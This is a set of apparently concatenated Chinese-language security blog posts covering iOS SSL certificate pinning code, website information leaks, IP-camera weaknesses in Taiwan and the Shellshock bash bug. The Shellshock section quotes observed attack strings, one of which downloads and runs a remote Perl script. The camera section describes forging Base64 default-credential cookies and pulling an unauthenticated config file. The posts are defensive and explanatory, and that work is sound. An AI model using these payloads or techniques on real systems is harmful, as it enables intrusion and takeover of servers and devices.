 1-(void)connection:(NSURLConnection*)connectiondidReceiveAuthenticationChallenge: 2(NSURLAuthenticationChallenge*)challenge 3{ 4if([[[challengeprotectionSpace]authenticationMethod]isEqualToString:NSURLAuthenticationMethodServerTrust]) 5{ 6do 7{ 8SecTrustRefserverTrust=[[challengeprotectionSpace]serverTrust]; 9if(nil==serverTrust)10break;/* failed */1112OSStatusstatus=SecTrustEvaluate(serverTrust,NULL);13if(!(errSecSuccess==status))14break;/* failed */1516SecCertificateRefserverCertificate=SecTrustGetCertificateAtIndex(serverTrust,0);17if(nil==serverCertificate)18break;/* failed */1920CFDataRefserverCertificateData=SecCertificateCopyData(serverCertificate);21[(id)serverCertificateDataautorelease];22if(nil==serverCertificateData)23break;/* failed */2425constUInt8*constdata=CFDataGetBytePtr(serverCertificateData);26constCFIndexsize=CFDataGetLength(serverCertificateData);27NSData*cert1=[NSDatadataWithBytes:datalength:(NSUInteger)size];2829NSString*file=[[NSBundlemainBundle]pathForResource:@"random-org"ofType:@"der"];30NSData*cert2=[NSDatadataWithContentsOfFile:file];3132if(nil==cert1||nil==cert2)33break;/* failed */3435constBOOLequal=[cert1isEqualToData:cert2];36if(!equal)37break;/* failed */3839// The only good exit point40return[[challengesender]useCredential:[NSURLCredentialcredentialForTrust:serverTrust]41forAuthenticationChallenge:challenge];42}while(0);43}4445// Bad dog46return[[challengesender]cancelAuthenticationChallenge:challenge];47}

處理方式與前面的 Android 情況2類同，做了 certificate pinning。

iOS 錯誤處理情況3

 1-(void)URLSession:(NSURLSession*)session 2didReceiveChallenge:(NSURLAuthenticationChallenge*)challenge 3completionHandler:(void(^)(NSURLSessionAuthChallengeDispositiondisposition, 4NSURLCredential*credential))completionHandler 5{ 6NSURLProtectionSpace*protectionSpace=challenge.protectionSpace; 7if([protectionSpace.authenticationMethodisEqualToString:NSURLAuthenticationMethodServerTrust]){ 8SecTrustRefserverTrust=protectionSpace.serverTrust; 9completionHandler(NSURLSessionAuthChallengeUseCredential,[NSURLCredentialcredentialForTrust:serverTrust]);10}else{11completionHandler(NSURLSessionAuthChallengePerformDefaultHandling,nil);12}13}

與前面 NSURLConnection 的情況類同，只是這裡使用到的是 iOS7 新增的 NSURLSession 元件。對應的處理方式如下：

 1-(void)URLSession:(NSURLSession*)session 2didReceiveChallenge:(NSURLAuthenticationChallenge*)challenge 3completionHandler:(void(^)(NSURLSessionAuthChallengeDispositiondisposition, 4NSURLCredential*credential))completionHandler 5{ 6if([[[challengeprotectionSpace]authenticationMethod]isEqualToString:NSURLAuthenticationMethodServerTrust]){ 7SecTrustRefserverTrust=[[challengeprotectionSpace]serverTrust]; 8if(serverTrust!=NULL){ 9OSStatusstatus=SecTrustEvaluate(serverTrust,NULL);10if(!(errSecSuccess==status)){11completionHandler(NSURLSessionAuthChallengeCancelAuthenticationChallenge,nil);12return;13}1415NSData*localCertData=[NSDatadataWithContentsOfFile:[[NSBundlemainBundle]16pathForResource:@"random-org"17ofType:@"der"]];1819SecCertificateRefremoteServerCert=SecTrustGetCertificateAtIndex(serverTrust,0);20CFDataRefremoteCertData=SecCertificateCopyData(remoteServerCert);21BOOLisMatch=[localCertDataisEqualToData:(__bridgeNSData*)remoteCertData];22CFRelease(remoteCertData);2324if(isMatch){25completionHandler(NSURLSessionAuthChallengeUseCredential,[NSURLCredentialcredentialForTrust:serverTrust]);26}else{27completionHandler(NSURLSessionAuthChallengeCancelAuthenticationChallenge,nil);28}29}30}else{31completionHandler(NSURLSessionAuthChallengePerformDefaultHandling,nil);32}33}

對 WebView 的一些補充

在對 WebView 做處理上，除了對 SSL 錯誤直接略過外，目前無論是在 Android 還是 iOS 上，SDK API 都尚未直接提供方法讓開發者能在 SSL Handshake 的途中作 Server Certificate Pinning。其中一個替代方法是，利用其他能夠作 Pinning 的元件將資料下載回來，接著把資料傳到 WebView 進行讀取，避開原本用 WebView 直接設定連線網址。蘋果公司有提供這種處理的範例。

結語

本來為了提高安全性而使用的 SSL 加密連線，卻由於程式處理不當讓原來的保護形同虛設。觀念不足與為節省時間而沒做好處理相信是主要原因。網路上大量的文章在引指開發者略過錯誤警告的時候，卻沒有提醒他們這樣做帶來的影響，也助長了不當處理的發生。

除了 SSL 處理問題外，手機應用程式開發還有許多要注意的安全問題，像是 OWASP 列出的 Top 10 Mobile Risks、由日本智慧型手機安全協會發佈 Android Application Secure Design/Secure Coding Guidebook裡面所建議的。開發商有責任做好安全把關以保障雙方權益。

參考

• Rethinking SSL Development in an Appified World
• Unifying Key Store Access in ICS | Android Developers Blog
• The CommonsBlog — SSL on Android: The Basics
• Security with HTTPS and SSL | Android Developers
• Networking Programming Topics: Overriding TLS Chain Validation Correctly
• Technical Note TN2232: HTTPS Server Trust Evaluation
• Certificate and Public Key Pinning - OWASP

前言

在今年駭客年會企業場，我們分享了一場『被遺忘的資訊洩漏』。資訊洩漏是十幾年前就被一提再提的議題，在資訊安全領域中也是最最最基本該注意的事情，然而至今很多網站都還是忽略它，甚至連一些熱門網站都仍有資訊洩漏問題。議程中我們舉了大量的例子證明資訊洩漏其實可以很嚴重，希望能幫大家複習一下，如果網站沒有注意這些，會造成什麼樣的後果。議程投影片如下所示，就讓我們來總結一下吧！

DEVCORE 常利用的資訊洩漏

首先我們從過往滲透測試經驗中挑選了幾個常見的資訊洩漏問題，分別如下：

• 管理介面洩漏 (p8-p19)
• 目錄(Index of)洩漏 (p20-p28)
• 錯誤訊息洩漏 (p29-p35)
• 暫存、測試資訊 (p36-p46)
• 版本控管 (p47-p55)
• DNS 資訊洩漏 (p56-p63)

以上種種不同洩漏方式，可能會洩漏出系統環境資訊、程式碼內容、含有帳號密碼的設定檔等。透過這些資訊，駭客就能組織出一個有效的攻擊行動。我們甚至在過往的經驗中，只透過目標的資訊洩漏，就直接取得資料庫操作權限(詳見投影片 p65-p71)。

為了解目前一些熱門網站是否重視這些最基本的保護，我們實際對 alexa 台灣前 525 名的網站進行資訊洩漏的調查。

在管理介面和測試頁面洩漏的項目，我們用很保守的方式測試根目錄下是否存有 phpmyadmin 和 phpinfo 頁面，結果分別有 7% 和 9% 的網站有這樣的問題。這樣的結果非常令人訝異，畢竟受測網站都是知名且有技術力的網站，而且並非所有網站都使用 php 開發，再加上我們只是測試預設的命名，實際洩漏的情況會更多！

另一個值得一提的是版本控管洩漏問題，我們同樣保守的只針對版本控管軟體中 GIT 和 SVN 兩項進行調查。結果竟然有 10% 的網站有這樣的問題。這個現象非常嚴重！這個現象非常嚴重！這個現象非常嚴重！這個洩漏有機會能還原整個服務的原始碼，被攻擊成功的機率相當高！台灣熱門的網站裡，十個裡面就有一個存有這樣的問題，非常危險，煩請看到這篇文章的朋友能去注意貴公司的網站是否存在這樣的問題。

大數據資料蒐集

在這場議程中，我們還提到了另一個層次的資訊洩漏議題：當全世界主機的服務及版本資訊全部都被收集起來，會發生什麼樣的事情？

駭客擁有這樣的資料，就能夠在非常短暫的時間內篩選出有問題的主機，進行大量的入侵。我們利用類似的技術針對台灣主機快速的進行掃描，就發現了台灣有 61414 台主機可以被利用來做 DNS Amplification DDoS 攻擊、1003 台主機可以被利用來做 NTP Amplification DDoS 攻擊。也就是說，駭客可以在短時間內組織一支六萬多人的台灣大軍，可以針對他想要攻擊的目標進行攻擊。

利用相同的技術，我們也順便檢驗了前陣子非常熱門的 OpenSSL Heartbleed問題。OpenSSL Heartbleed 被稱之為『近十年網路最嚴重的安全漏洞』，其嚴重程度可以想見，然而根據我們的觀察，台灣至今仍有 1480 台 HTTP 伺服器尚未修復，而台灣前 525 大熱門網站中，也有 21 個(4%)網站未修復。足見台灣網站對於資安的意識仍然不夠。

對於這樣海量收集資料衍生的資安議題，我們認為最大的受害者，是物聯網的使用者！就我們的觀察，物聯網的設備通常安全防護不佳，容易遭受到駭客攻擊，前陣子 HP 也出了一份報告指出，物聯網的設備有七成存在弱點，而且每台設備平均有 25 個弱點。除此之外，物聯網的設備不易更新，少有人會定期更新，更導致物聯網設備可以被大範圍的攻擊，進而滲透家用網路，危害使用者居家隱私。這是個未來需要持續關注的重要議題。

最後，我們用最近 SynoLocker 的案例為大數據資料蒐集作結，SynoLocker 是一款針對 Synology 的勒索軟體，去年底 Synology 官方已經推出新版修正問題，本月 SynoLocker 擴散至全世界，新聞一再強調需要更新 NAS，但我們針對台灣 1812 台對外開放的 Synology NAS 做統計，至今仍發現有 64％ 的使用者沒有更新，也就是這些 NAS 仍暴露在 SynoLocker 的風險中。這件事情又再次證明駭客有能力在短時間利用大數據資料找到攻擊目標，也順帶說明了台灣資安意識普遍不足的問題。

結論

在這次議題我們關注了很古老的資訊洩漏問題，並且發現目前台灣一些熱門網站仍然存在這樣的問題。資訊洩漏也許不是一件很嚴重的事情，但往往能激起駭客高漲的情緒，駭客會認為一個網站連最最最基本的資料保護都沒有做到，一定會存在其他資安問題，進而進行更大量的攻擊行為。而事實上，我們也從實例證明了其實資訊洩漏可以很嚴重，希望網站提供者能夠注重這個簡單可解決且重要的議題。

我們也提到了駭客透過平常大量的資料收集，在需要的時候能快速找到目標並且大範圍攻擊。這其中又以物聯網的用戶影響最多。面對這樣的議題，我們建議除了適當的隱藏(偽造)主機版本資訊以避免出現 0-Day 時成為首要攻擊目標。我們也提倡要對自己的服務做普查，了解自己到底對外開啟了什麼服務，以及關注自己使用的第三方套件是否有安全更新。

希望明年不需要再有一篇『依舊沒改變的資訊洩漏』！大家快點注意這件簡單的事情吧！

網路攝影機的普及率在近幾年來持續攀升，除了老人與幼兒居家照護、企業室內監控等需求迅速增加之外，結合手機應用程式讓人可隨時隨地觀看影像的方便性也成為普及的原因。當大家還以為黑帽駭客的目標仍然是網站、個人電腦時，已經有許多攻擊者悄悄地將目標轉向了各種物連網設備，例如 NAS、Wireless AP、Printer 等產品，而擁有眾多用戶的網路攝影機理所當然地也是目標之一。身為安控產品，卻造成一項資安的隱憂，是不是有點諷刺呢？

恰好最近幾天忽然看到有新聞報導「家用監視器遭駭客入侵 隱私全被看光光」這樣子的案例，而在去年也有類似的報導「數十萬支監控攝影機潛藏被駭漏洞 電影情景恐真實上演」，讓我們不禁想對這個事件做個深入的調查。就讓我們來看看網路攝影機以及相關產品究竟有哪些風險吧！

CVE

我們先來看看幾個大廠在 2013 年到 2014 年之間有哪些已經被公開揭露的 CVE 弱點：

• AVTECH: 3, CVE-2013-4980, CVE-2013-4981, CVE-2013-4982
• AXIS: 2, CVE-2013-3543, CVE-2011-5261
• Hikvision: 3, CVE-2013-4975, CVE-2013-4976, CVE-2013-4977
• SONY: 1, CVE-2013-3539
• Vivotek: 6, CVE-2013-1594, CVE-2013-1595, CVE-2013-1596, CVE-2013-1597, CVE-2013-1598, CVE-2013-4985

讀者們若進一步去看各個 CVE 的詳細資料，會發現有許多弱點都是屬於可執行任意指令的嚴重漏洞，其影響程度非常高，已不只是關於攝影內容是否被竊取，更有可能被利用此類設備進一步攻擊其他內、外網機器。

台灣現況

雖然上面提到許多知名廠牌的嚴重漏洞，但是每個國家使用的安控設備不見得都是上述幾個牌子，而身為資安業者，隨時關注自己國家的網路現況也是很合理的事情～在我們的大量觀測下，發現有許多 IP Camera、DVR (Digital Video Recoder)、NVR (Network Video Recoder)都存在資安議題，我們從其中提出幾個有趣的案例跟各位分享一下：

• 某國外 V 牌廠商 （數量：320+）

  一般的產品通常都會有預設帳號密碼，但這間廠商的產品似乎沒有預設帳號密碼，若使用者未設定帳號密碼，攻擊者只要直接點「OK」按鈕就可以登入系統，而這樣子的 DVR 在台灣有三百多台，也就是有三百多台 DVR 在網路上裸奔…

• 某國外 H 牌廠商 （數量：1200+）

  有些廠商為了方便維修或者其他理由，會在 NVR 上開啟了 Telnet 服務，雖然增加了被攻擊的機率，但是若密碼強度足夠且沒有外流，也不會隨便被打進去。而這間廠商非常有趣，除了 root 帳號之外還有一組 guest 帳號，並且 guest 的密碼非常簡單，加上當初建置系統時並未檢查機敏檔案的權限是否設定錯誤，導致攻擊者可先用 guest 帳號登入，再去 /etc/shadow 讀取 root 密碼加以破解，進一步取得設備所有權限。

• 某國外 D 牌廠商 （數量：700+）

  這個案例實在是令人哭笑不得，不知道是原廠還是台灣代理商非常好心地幫使用者建立了多組預設帳號，包含 admin、666666、888888 等等，而且密碼也設定得很簡單。但是通常要使用者記得改一組預設密碼已經非常困難，更何況是要使用者改三組密碼呢？這種情形導致攻擊者可以輕而易舉地拿著弱密碼到處猜，大大提高了用戶的受害機率。而更有趣的是，不知道是基於歷史包袱或者其他原因，此設備開了特殊的 port，直接送出含有特定內容的封包到這個 port 就可以執行相對應的指令，例如可以取得帳號密碼、使用者 email 等等，而在這個過程中完全沒有任何認證機制！等於又有七百多台 NVR 在網路上裸奔…

• 某國內 A 牌廠商 （數量：1000+）

  這間廠商也是使用常見的預設帳號密碼，但它可怕的地方還不止於此。該系統將帳號密碼轉為 Base64 編碼後直接當作 cookie 內容，因此若預設帳號密碼分別是 abc 與 123，將 abc:123 用 Base64 編碼過後可得到 YWJjOjEyMw==，接著將 Cookie: SSID=YWJjOjEyMw== 這串內容加到 request 的 HTTP header 中，就可以到處測試該設備是否使用預設帳號密碼，甚至還可以進一步下載備份檔，察看使用者有無填寫 email、網路帳號密碼等資料。

• 某國內 A 牌廠商（數量：10+）

  這個案例雖然數量非常少，但是卻非常嚴重。為什麼呢？因為廠商沒有對機敏資料做嚴格的權限控管，只要攻擊者直接在網址列輸入 http://IP/sys.bin，就可以直接下載一個名為 sys.bin 的檔案，而此檔案是 tgz 格式，解壓縮後可以得到 system_server.conf，該檔案中含有帳號、密碼，因此即便使用者修改了預設帳號密碼，也會因為這個嚴重漏洞而輕易地被入侵。

• XXXX科技 （數量：230+）

  這是一個非常經典的案例！一般攻擊者入侵攝影機最常見的就是為了偷看攝影機畫面，再進階一點的可能會控制該攝影機進一步攻擊內網。而這家廠商身為知名保全公司投資成立的安控公司，理當為客戶的監控畫面做最周全的規劃、最謹慎的防護，但是結果呢？報告各位，完全沒有任何防護！只要連到 IP 位址就可以直接看到攝影機畫面，也是屬於裸奔一族…

從這幾個案例我們可以發現台灣目前至少有 3500 台左右的安控設備處於高風險狀態中，而由於我們無暇對每一款設備進行調查，因此這僅僅是一個概略的調查結果。同時這些設備都是在網路上可直接連線的，若再加上各個公家機關、辦公大樓、社區的內網安控設備，恐怕會有更驚人的發現。

問題起源

究竟為什麼會有這麼多安控設備被入侵呢？其實主要有兩個面向。第一個是由於許多廠商的防範觀念仍停留在舊時代，不了解駭客到底都怎麼攻擊，因此也不了解確切的防治方法。舉例來說，廠商在網路安控系統的 Web 輸入介面都會設定許多阻擋規則，以防範入侵者輸入惡意攻擊指令，但是這些防治手段都僅僅做在 client 端（用 JavaScript 來防護），入侵者只要利用 proxy 工具或自行寫程式發送客製化 request 就可以繞過那些驗證，若廠商沒有在 server 端再次進行驗證輸入資料是否異常，就有很高的機會被入侵成功。

另一方面則是入侵者的攻擊手法千變萬化，難以保證不會有新的 0-Day 弱點出現。例如今年一月份大量爆發的 NTP 弱點 CVE-2013-5211 就存在於上述六個案例其中之一，我想廠商應該不會有意願針對舊產品修復此類漏洞，也就是未來隨時有幾百台的攝影機可被惡意人士用來執行 DDoS 攻擊。另外今年四月份的 OpenSSL Heartbleed 弱點更是一個具有代表性的重要案例，我想這應該是許多安控設備廠商都會使用的程式。當廠商將此類程式納入網路安控設備中，於弱點被揭露時若無法及時有效修補，或是修補的成本太高導致用戶不願意修補、沒有能力修補，就有可能釀成重大災情，不但造成用戶損失，也嚴重影響商譽。

廠商該如何因應？

針對此類資安問題，大型硬體廠商應該落實以下幾個動作：

• 改善資安問題更新流程：將產品的資安更新改變成主動通知使用者，而非需要使用者主動到官網看才知道更新，以縮短使用者更新的平均週期，確保使用者的軟體是最新無風險版本。
• 成立專門資安小組：請專人負責檢驗產品的資安品質與修正資安弱點，以便因應臨時爆發的重大弱點，維持產品的資安品質。
• 黑箱滲透測試：於產品出廠前執行黑箱滲透測試，讓滲透測試專家從黑帽駭客的角度來檢查產品有無漏洞。
• 白箱原始碼檢測：定期執行原始碼檢測，從產品的根本處著手改善，降低產品上市後才被發現弱點的機率。
• 資安教育訓練：請有實際攻防經驗的資安專家給予開發人員正確的資安觀念，了解最新的攻擊手法與有效防禦之道。
• 定期檢閱產品所使用的第三方軟體套件是否有弱點，例如 OpenSSL，以避免把有問題的版本納入產品，造成產品間接產生弱點，因而遭到入侵。
• 定時於網路上收集產品的相關弱點資料，例如 Secunia、SecurityFocus、Packet Storm等網站都是很好的資訊來源。

一般使用者、企業該如何亡羊補牢？

目前的網路安控系統使用者仍未有足夠的資安意識，主要現象有以下幾點：

• 使用弱密碼
• 未進行適當的權限劃分與管理
• 容易開啓攻擊者寄送的惡意連結，導致被 XSS、CSRF 等手法攻擊
• 未限制連入 IP 位址，導致安控系統可從外網任意存取

然而，無論是安控系統或其他任何連網設備，未來都有可能成為潛在的攻擊目標，而且在廠商提供更新檔之前其實也很難確實地自保，因此了解資安知識與常見的攻擊手法是有其必要的。基本的防範之道如下：

• 使用強密碼，包含大小寫英文、數字、特殊符號，並且定期更換密碼
• 勿在系統建立太多不必要的使用者帳號、將多餘的帳號移除，以降低帳號被盜的機率。若需要建立多組帳號，請仔細給予適當的權限
• 勿隨意開啟可疑信件附帶的連結或檔案，以避免被攻擊者以 XSS、CSRF 等手法攻擊
• 限制可存取資訊系統的 IP 位址，避免資訊系統成為公開的攻擊目標
• 定期檢查 log，確認有無異常登入、異常操作甚至是異常帳號等資訊

結論

在物連網的時代中，各種可進行無線通訊的設備被攻擊的事件屢見不鮮，例如 2011 年知名駭客 Jay Radcliffe 在 Black Hat 展示如何攻擊胰島素注射器，2013 年已故駭客 Barnaby Jack 原本要在 Black Hat 展示如何利用藍芽通訊控制心律調整器，甚至 2014 年甫推出的可遠程變換顏色燈泡也被揭露有資安問題。在不久的未來，這些資安問題只會更多，身為民眾、企業、廠商的你，準備好面對萬物皆可駭的物連網時代了嗎？

自 9/24 以來，不少資訊圈朋友日以繼夜的忙碌，這都多虧了藏在 Bash 裡 22 年的安全漏洞－Shellshock (Bash CVE-2014-6271)。對於惡意攻擊者而言，這是今年來第二波淘金潮，相較於上次 Heartbleed駭客們的刮刮樂遊戲需要拼運氣，這次的 Shellshock 只要一發現利用點，就能馬上擁有基本的系統操作權限，也難怪 NVD給予 Shellshock 最嚴重的 10.0 分影響等級。

Shellshock 受影響的 Bash 版本如下：

• Bash 4.3 Patch 25 （含）以前版本
• Bash 4.2 Patch 48 （含）以前版本
• Bash 4.1 Patch 12 （含）以前版本
• Bash 4.0 Patch 39 （含）以前版本
• Bash 3.2 Patch 52 （含）以前版本
• Bash 3.1 Patch 18 （含）以前版本
• Bash 3.0 Patch 17 （含）以前版本
• Bash 2.0.5b Patch 8 （含）以前版本
• Bash 1.14.7 （含）以前版本

這次的問題出在 bash 對環境變數的解析上。若有辦法在環境變數中塞入惡意的程式碼，並且順利將這些環境變數傳入 bash，bash 就會因解析錯誤而執行惡意指令、和讓攻擊者能直接對系統進行基本的操作。原始碼及更進階的原理請參考這篇。Shellshock 之所以嚴重，一來是因為攻擊語法相當簡單，只需要一行指令，就可以直接對系統進行操作；二來是因為 bash 使用範圍極廣，多款作業系統預設 shell 就是 bash。 常見的作業系統與其預設 shell 整理如下：

我們看到近半數知名的 un*x 系統預設使用 bash，可以推想這次影響範圍有多廣，尤其是許多服務都架構在這之上，若遭受到攻擊，損失的可能是企業的機密資料或客戶資料。至於沒有預設使用 bash 的作業系統，也並不意味著完全沒有風險，例如 Ubuntu 在 DHCP 客戶端使用到 bash ，就仍然會有風險，下面文章中也會提到這樣的狀況。另外，早期新聞中常出現物聯網設備會受此漏洞影響的報導，經過我們實測，物聯網設備為求精簡，大多使用 busybox，而其 shell 為 ash，故大多數設備在這次 Shellshock 威脅中影響不大，不過儘管物聯網設備逃過了這次 Shellshock 事件，有許多設備仍然是赤裸裸的。

常見的 Shellshock 利用方式

Shellshock 漏洞被公布後，惡意攻擊者無不想要透過這個漏洞對伺服器進行遠端攻擊，一些遠端攻擊概念也陸續被證實。最早的公開大量掃描是由 Errata Security 在其部落格公布技術細節，他們在 HTTP 請求表頭中的 Cookie、Host、Referer 中放置惡意語法 () { :; }; ping -c 3 209.126.230.74，並且利用 masscan 對全世界 HTTP 伺服器 (port 80) 進行掃描。因為一般伺服器會將 HTTP 表頭中之內容放入環境變數中，若伺服器首頁入口程式本身是 bash shell script 或者其子程序有呼叫到 bash，就會受到惡意語法的影響，執行 ping -c 3 209.126.230.74指令。

攻擊使用 CGI 的網頁伺服器

利用同樣的道理，惡意攻擊者開始在 HTTP 表頭中置入惡意的語法，大量去掃描網路上的 CGI 網頁，因為這種網頁常呼叫系統指令，所以成功機率都頗高，攻擊成功的結果如下圖，從這張圖也可了解這個弱點可以簡單地透過一個參數就能直接讓系統執行任意指令。

詳細的實作流程請參考下面影片：

我們團隊也在 CGI 環境下執行幾種程式語言進行測試，發現用到以下 function 時會讀取到環境變數（date 只是範例，可代換為其他系統指令），因此若伺服器在 CGI 環境下使用這些 function，會為伺服器本身帶來嚴重風險。

建置惡意 DHCP 伺服器感染連線使用者

同時，有另一批人發現某些作業系統在進行 DHCP 連線時，會將 DHCP 伺服器傳入的一些資訊塞入到環境變數中。於是，若建置一個惡意 DHCP 伺服器，對其連線的使用者就有很高的機會遭受攻擊。我們實際做了實驗攻擊一般使用者，在使用者建立連線的當下放置後門，實驗過程如下影片：

我們也分別測試了在不同作業系統下是否會受到惡意 DHCP 伺服器影響，基本上，常見的 un*x 系統開機後自動連線基本上都會中招。

繞過 Git/Subversion 伺服器的 shell 限制

Shellshock 也常被利用來繞過伺服器的 shell 限制，最常見的就是 Git 和 Subversion 伺服器： 通常這些伺服器允許透過 SSH 連線，但登入後都對應著受限制的 shell。透過此漏洞，可以繞過 shell 的限制，執行指令如下圖。（註：OS 中 git user 預設 shell 要為 bash 才會受到影響）

一般我們要實作特定使用者登入 ssh 只能做特定的事情，常常會在 sshd_config 設定 ForceCommand，或是在 authorized_keys 設定 command= 如下：

command="[path]/gl-auth-command sitaram",[more options] ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA18S2t...

這次會受到 Shellshock 影響，就是因為這些設定會在使用者透過 ssh 登入時，呼叫 bash 執行，當環境變數被引入，惡意的程式碼就會被執行了。

Shellshock 威脅仍在擴大

目前不管是白帽駭客或是黑帽駭客都還在持續尋找可以利用 Shellshock 的地方，如同前面所述，找到可以寫入環境變數的地方，並且順利傳入 bash 執行，就可以利用該弱點來執行更進一步的攻擊。

從 Shellshock 爆發至今，陸陸續續傳出了很多公司的產品受到此弱點影響，整理在此，也有一些 POC 整理在這裡。 其中不乏出現一些常用知名套件如：OpenVPN、Pure-FTPd，而且持續更新中。

現在針對 HTTP 伺服器的攻擊還是佔多數，截至目前為止我們仍持續發現網路上有各種掃描樣本，例如：

• () { :;}; /bin/bash -c "echo testing9123123"; /bin/uname -a
• () { :;}; /bin/bash -c "wget -P /var/tmp 174.143.2XX.XX/…/x ; perl /var/tmp/x"
• () { :;};echo vOLniO4dcLqW2I3MnIVpSfk8bmzyxXaIF$(echo vOLniO4dcLqW2I3MnIVpSfk8bmzyxXaIF)vOLniO4dcLqW2I3MnIVpSfk8bmzyxXaIF

除了這些陸續針對 HTTP 伺服器的案例，我們認為，一些公司購入的網路設備是 Shellshock 潛在高危險群，那些買來就擺在旁邊維運的設備，一來容易被忽略，二來是其更新不易，三來這些設備常使用到 bash，因此仍是現在惡意攻擊者專注研究的目標，請大家特別小心。

結論：無需過度恐慌，但別掉以輕心

「只要有 bash 的系統全部都是受駭範圍！」

不少朋友看到最近 Shellshock 的新聞報導，都十分緊張。儘管各位所使用的 bash 是含有漏洞的版本，但要成功執行攻擊手法需要許多條件，被攻擊者從遠端攻擊的機率偏低，因此大家不需要太過恐慌，只要注意以下設備或伺服器：

• 特定 Linux 版本，並且使用 DHCP 連線
• 網路、資安設備
• 使用 CGI 的網站伺服器
• 已經公布含有弱點的套件

那我們該怎麼自保呢？在攻擊手法不斷精進之下，只過濾 CVE-2014-6271 的攻擊字串並沒有辦法完全阻擋攻擊。建議可以先將伺服器的 bash 升級至最新版本，並持續關注後續更新訊息（目前持續有繞過檢查的新 CVE 弱點發佈），使用 CGI 之伺服器搭配 iptables、IDS、Mod Security 等機制偵測攻擊特徵並將其阻擋。若有設備在這次的影響範圍，也記得向原廠索取更新程式。

題外話

有人說：「Linux 在 2014 年接連出包，真是一個不安全的作業系統！反觀 Windows 在這幾次都毫無影響，企業應該要全面改用 Microsoft Solution！」，但這真的是正確的想法嗎？其實一個 OpenSource 的系統、軟體，可以藉由社群的力量檢視原始碼的問題，集合眾人的力量讓系統變得更加安全。因此有被揭露出漏洞，對於一個系統來說是好事。而非 OpenSource 的系統，就只能仰賴原廠自己的資安團隊進行研究，或者是外部資安人員的發掘了。選擇作業系統的原則，最好依照系統的功能需求、產品定位、安全漏洞的修補速度等層面，才能夠選用真正符合自己需要的系統。

註解